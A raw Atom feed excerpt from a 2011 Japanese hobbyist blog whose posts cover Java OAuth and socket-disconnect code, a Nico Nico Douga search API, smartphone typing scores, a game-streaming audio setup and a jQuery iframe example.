HashMap&amp;lt;String,String&amp;gt; data = new HashMap&amp;lt;String,String&amp;gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (response.indexOf("&amp;amp;") != -1) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String[] responseData = response.split("&amp;amp;");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (int i = 0; i &amp;lt;= responseData.length-1; i++) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String key = responseData[i].substring(0,responseData[i].indexOf("="));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; String value = responseData[i].substring(responseData[i].indexOf("=")+1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; data.put(key, value);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return data;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;p&gt;}&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-7548986340534307573?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/7548986340534307573/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=7548986340534307573&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7548986340534307573'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/7548986340534307573'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/10/javaoauth.html' title='JavaでOAuth認証'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-684091870094044675</id><published>2011-09-27T03:24:00.001+09:00</published><updated>2011-09-27T03:43:52.413+09:00</updated><title type='text'>スマートフォン（Motorola Milestone 2）で寿司打（タイピング）</title><content type='html'>&lt;p&gt;Motorola製スマートフォン Milestone2でフラッシュのタイピングゲーム「寿司打」をやってみました。&lt;/p&gt; &lt;p&gt;記録&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;正しく入力したキーの数 : 560回&lt;br&gt;平均キータイプ数 : 4.3回/秒&lt;br&gt;ミスタイプ数 : 34回&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;上記の結果では一分間の平均キー入力数は4.3*60=258キー。&lt;/p&gt; &lt;p&gt;一文字は約2キーなので258/2=129文字。&lt;/p&gt; &lt;p&gt;要するに一分間の平均入力文字数は129文字。&lt;/p&gt; &lt;p&gt;ちなみにワープロ検定一級レベルは1分間で70文字。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;にしてもMilestone2はキーが硬い。指が痛い。&lt;/p&gt; &lt;p&gt;その上、今回は-(Fn+v)と!(Fn+A)を入力する時、Fnを押すとミス入力に買うとされてしまいタイムボーナスが途切れてしまった。&lt;/p&gt; &lt;p&gt;あと、ハードウェアの性能が追いついていなく、キーを押してから入力されるまでにラグがある。&lt;/p&gt; &lt;p&gt;そろそろMilestone2ではダメなのかな。&lt;/p&gt; &lt;p&gt;Milestone3はずっこけてくれたし、早くいい端末出てくれ！&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;動画は以下にあるが、ハイフンを押すときにすごくつらそうにしてるのがわかると思う。&lt;/p&gt; &lt;p&gt;物理QWERTYキーボード搭載は嬉しい。次はハイフンを独立させてやってくれ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:e25bee6f-cfc1-45aa-99e9-84911c323e01" class="wlWriterEditableSmartContent"&gt;&lt;div id="50ff281a-7bc7-42b7-9696-3c948b377247" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=ulRyYcTeu4c" target="_new"&gt;&lt;img src="http://lh3.ggpht.com/-r2qMnjKPJ9g/ToDDRVqZ_II/AAAAAAAAARc/DhzL_e_yR6w/videoc53bb9b01b2d%25255B12%25255D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('50ff281a-7bc7-42b7-9696-3c948b377247'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/ulRyYcTeu4c&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/ulRyYcTeu4c&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-684091870094044675?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/684091870094044675/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=684091870094044675&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/684091870094044675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/684091870094044675'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/09/motorola-milestone-2.html' title='スマートフォン（Motorola Milestone 2）で寿司打（タイピング）'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/-r2qMnjKPJ9g/ToDDRVqZ_II/AAAAAAAAARc/DhzL_e_yR6w/s72-c/videoc53bb9b01b2d%25255B12%25255D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4261130008213664378</id><published>2011-09-23T18:37:00.002+09:00</published><updated>2011-10-11T16:38:14.907+09:00</updated><title type='text'>ニコニコ動画検索API</title><content type='html'>&lt;p&gt;検索クエリには以下のデータを付加してください。  &lt;p&gt;type:（必須）  &lt;blockquote&gt;&lt;p&gt;keyword（キーワード検索）  &lt;p&gt;tag（タグ検索）&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;alt:（初期値はxmlです。JSONを使う場合alt=jsonを必ず指定してください。）&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;xml&lt;/p&gt;&lt;p&gt;json&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;q:検索キーワード（必須）&lt;p&gt;&amp;nbsp; &lt;p&gt;p:ページ数  &lt;p&gt;&amp;nbsp; &lt;p&gt;sort:  &lt;blockquote&gt;&lt;p&gt;v（再生数順）  &lt;p&gt;n（新着コメント順）  &lt;p&gt;r（コメント数順）  &lt;p&gt;m（マイリスト数順）  &lt;p&gt;f（投稿日時順）  &lt;p&gt;l（動画の長さ順）&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;order:  &lt;blockquote&gt;&lt;p&gt;d（降順）  &lt;p&gt;a（昇順）&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&amp;nbsp; &lt;p&gt;例）http://nicovideo-search.appspot.com?type=search&amp;amp;q=キーワード&amp;amp;sort=v&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;検索結果は以下のように取得されます。&lt;/p&gt;&lt;p&gt;JSONの場合&lt;/p&gt;&lt;p&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "isNotError":取得できたかどうか（boolean）&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "results":ヒット数,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "pages":総ページ数,（ニコニコの仕様で50ページまで）&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; "entry":[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "id":動画ID,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "description":説明,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "url":URL,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "thumbUrl":サムネイルのURL,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "length":動画の長さ,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "viewCount":再生数,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "mylistCount":マイリスト数,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "commentCount":コメント数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; },・・・&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ]&lt;br /&gt;}&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;XMLの場合&lt;/p&gt;&lt;p&gt;&amp;lt;feed&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;isNotError&amp;gt;取得できたかどうか（boolean）&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;results&amp;gt;ヒット数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;pages&amp;gt;総ページ数（ニコニコの仕様で50ページまで）&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;entry&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;id&amp;gt;動画ID&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;description&amp;gt;:説明&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;url&amp;gt;URL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;thumbUrl&amp;gt;:サムネイルのURL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;length&amp;gt;動画の長さ&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;viewCount&amp;gt;:再生数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;mylistCount&amp;gt;:マイリスト数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;commentCount&amp;gt;:コメント数&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/entry&amp;gt;&lt;br /&gt;&amp;lt;/feed&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;a href="http://nicovideo-search.appspot.com/sample.html"&gt;サンプルページ&lt;/a&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;※この検索APIはニコニコ動画の検索結果ページからソースを取得し解析しているため、検索に時間が掛かる可能性があります。また、公式の仕様変更で使えなくなる可能性があります。もし使えなくなった場合はご連絡ください。&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4261130008213664378?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4261130008213664378/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4261130008213664378&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4261130008213664378'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4261130008213664378'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/09/api.html' title='ニコニコ動画検索API'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8424376626781145882</id><published>2011-08-19T03:56:00.001+09:00</published><updated>2011-08-19T03:59:09.608+09:00</updated><title type='text'>Javaのソケット通信の切断を検知</title><content type='html'>&lt;p&gt;ものすごく久々にJavaのコードを書いた。&lt;/p&gt; &lt;p&gt;コードを書いたのは大学の上級プログラミング（笑）以降かな。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まずは以下をご覧ください。（解像度が高すぎて文字が小さすぎるため、HD以上でご覧ください）&lt;/p&gt; &lt;p&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:4cda7e07-51a1-4fcd-82cb-84fa421f7015" class="wlWriterEditableSmartContent"&gt;&lt;div id="3ea0b526-5a44-4ff3-8e26-0a33daf8e0de" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=DOSN6jZxNaI&amp;amp;feature=youtube_gdata_player" target="_new"&gt;&lt;img src="http://lh6.ggpht.com/-f9rW5TrW7r0/Tk1g_C045DI/AAAAAAAAAN4/a5kliwaGfHM/videoeb03a169ff02%25255B2%25255D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('3ea0b526-5a44-4ff3-8e26-0a33daf8e0de'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/DOSN6jZxNaI&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/DOSN6jZxNaI&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;/p&gt; &lt;p&gt;複数人のクライアントを扱うまでは簡単。&lt;/p&gt; &lt;p&gt;しかし問題なのはクライアントとの切断が検知できないため、切断してもその人のソケット変数が残ってしまう。&lt;/p&gt; &lt;p&gt;今回はそれを検知し、クローズしたソケットを自動的に削除するようにした。&lt;/p&gt; &lt;p&gt;ここで紹介するのは切断の検知方法だけにしておく。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;あ、先に言っておくと、isClosed()やisConnected()では検知できません。&lt;/p&gt; &lt;p&gt;接続したらisConnectedがTrueに。close()により切断されたソケットはisClosed()でtrueが買えるようになっていて、接続状態を確認するものではありません。&lt;/p&gt; &lt;p&gt;サーバーと接続したクライアントアプリケーションが異常終了やCloseを使わずに切断された場合の検知は以下のように行うことができます。（かなり非効率ですが）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;まずメインでデータのやり取りを行うソケット以外にもう一つ別のポートで通信状態をチェックします。&lt;/p&gt; &lt;p&gt;ソケット接続が確立したらソケットを閉じる。接続にはsetSoTimeoutで一定のタイムアウト時間を設定しておく。&lt;/p&gt; &lt;p&gt;これをループすることでクライアントが接続可能な状態かどうかを判断することができます。&lt;/p&gt; &lt;p&gt;タイムアウトしなければソケットを確立した瞬間破棄し、再接続を試します。&lt;/p&gt; &lt;p&gt;タイムアウトした場合そのネットワークは切断されているということが言えます。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;クラスにまとめてDropBoxにアップロードしておきます。JavaDocはそのうち書きます。&lt;/p&gt; &lt;p&gt;これはもちろんサーバーサイド用とクライアントサイドで分ける必要があります。&lt;/p&gt;&lt;a href="http://dl.dropbox.com/u/30713075/programming/java/ClientConnectionCheck.class" target="_blank"&gt; &lt;p&gt;&lt;/a&gt;両方とも、新しくオブジェクトをnewした瞬間から動作します。&lt;/p&gt; &lt;p&gt;&lt;a href="http://dl.dropbox.com/u/30713075/programming/java/ServerConnectionCheck.class" target="_blank"&gt;&amp;nbsp;&lt;/p&gt;&lt;/a&gt;&lt;a href="http://dl.dropbox.com/u/30713075/programming/java/ClientConnectionCheck.class" target="_blank"&gt; &lt;p&gt;&lt;a href="http://dl.dropbox.com/u/30713075/programming/java/ServerConnectionCheck.class" target="_blank"&gt;サーバー側のファイル（ServerConnectionCheck）&lt;/a&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;void ServerConnectionCheck(String host, int port) //コンストラクタ&lt;/p&gt; &lt;p&gt;boolean isConnecting() //接続しているかどうか&lt;/p&gt; &lt;p&gt;void close() //終了&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&lt;a href="http://dl.dropbox.com/u/30713075/programming/java/ClientConnectionCheck.class" target="_blank"&gt;クライアント側のファイル（ClientConnectionCheck）&lt;/a&gt;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;void ClientConnectionCheck(String host, int port) //コンストラクタ&lt;/p&gt; &lt;p&gt;void close() //終了&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;リンク切れの場合はご報告ください。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8424376626781145882?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8424376626781145882/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8424376626781145882&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8424376626781145882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8424376626781145882'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/08/java.html' title='Javaのソケット通信の切断を検知'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/-f9rW5TrW7r0/Tk1g_C045DI/AAAAAAAAAN4/a5kliwaGfHM/s72-c/videoeb03a169ff02%25255B2%25255D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4588312930946877762</id><published>2011-08-19T03:28:00.001+09:00</published><updated>2011-08-19T03:30:58.742+09:00</updated><title type='text'>会議通話しながらのゲームのライブ配信環境を作る</title><content type='html'>&lt;p&gt;ゲームなどの配信をしてみたい、またはしたことがあるという方で自分の声を入れることができなかったり、会議通話しながらの配信ができないなどで困っている方がいると思います。&lt;/p&gt; &lt;p&gt;今回はその改善をするための簡単な手段を紹介。&lt;/p&gt; &lt;p&gt;コストとしては3000円程度が必要になります。（何も持っていない場合）&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;用意するもの&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・ステレオミニプラグの差込口を分岐するやつ&lt;br&gt;・USBマイクのマイク部分が取り外せるやつ（&lt;a href="http://www.amazon.co.jp/gp/product/B002BWP7US/ref=pd_lpo_k2_dp_sr_1?pf_rd_p=466449256&amp;amp;pf_rd_s=lpo-top-stripe&amp;amp;pf_rd_t=201&amp;amp;pf_rd_i=B001A1PR4M&amp;amp;pf_rd_m=AN1VRQENFRJN5&amp;amp;pf_rd_r=02GVMKNPTX47FJ51HCZM" target="_blank"&gt;これとか&lt;/a&gt;）&lt;br&gt;・ステレオミニプラグケーブル&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;この三つが用意できたら、ステレオミニプラグの分岐するやつをパソコンのスピーカー端子に接続。&lt;/p&gt; &lt;p&gt;二つ差込口ができるから片方はそのままスピーカーをつなぐ。&lt;/p&gt; &lt;p&gt;もう片方にステレオミニプラグケーブルを接続し、USBマイクからマイクを取り外しそこに繋げる。&lt;/p&gt; &lt;p&gt;そうしたら、USBケーブルをPCに接続すればおｋ。&lt;/p&gt; &lt;p&gt;Windowsの標準入力をそのUSBマイクに設定し、Skypeのマイクはそのままサウンドカードや、オンボードチップの入力を使う。&lt;/p&gt; &lt;p&gt;そして設定でマイク入力をスピーカーから出すようにする。設定が難しいけどうまくやればハウリングはしない。&lt;/p&gt; &lt;p&gt;もしハウリングの問題が解決できないならスピーカーからの出力はやめ、ヘッドフォンを使う。&lt;/p&gt; &lt;p&gt;複数人でオンラインゲームやってても実況プレイができる。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4588312930946877762?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4588312930946877762/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4588312930946877762&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4588312930946877762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4588312930946877762'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/08/blog-post.html' title='会議通話しながらのゲームのライブ配信環境を作る'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-1820484225864301802</id><published>2011-08-11T12:01:00.001+09:00</published><updated>2011-08-15T07:35:16.387+09:00</updated><title type='text'>jQueryでiFrameを扱う</title><content type='html'>&lt;p&gt;jQueryでiFrameを扱うのは意外と難しい。&lt;/p&gt; &lt;p&gt;コードで説明すると&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;html&amp;gt;&lt;br&gt;&amp;lt;head&amp;gt;&lt;br&gt;&amp;lt;script src="&lt;a href="http://code.jquery.com/jquery-1.6.min.js&amp;quot;"&gt;http://code.jquery.com/jquery-1.6.min.js"&lt;/a&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;br&gt;&amp;lt;script&amp;gt;&lt;br&gt;$(function(){&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; //--------------------------------------方法1&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ifr = $("&amp;lt;iframe id='ifr'&amp;gt;&amp;lt;/iframe&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //この段階ではIframeの内容は存在しない。&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $("body").append($ifr);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 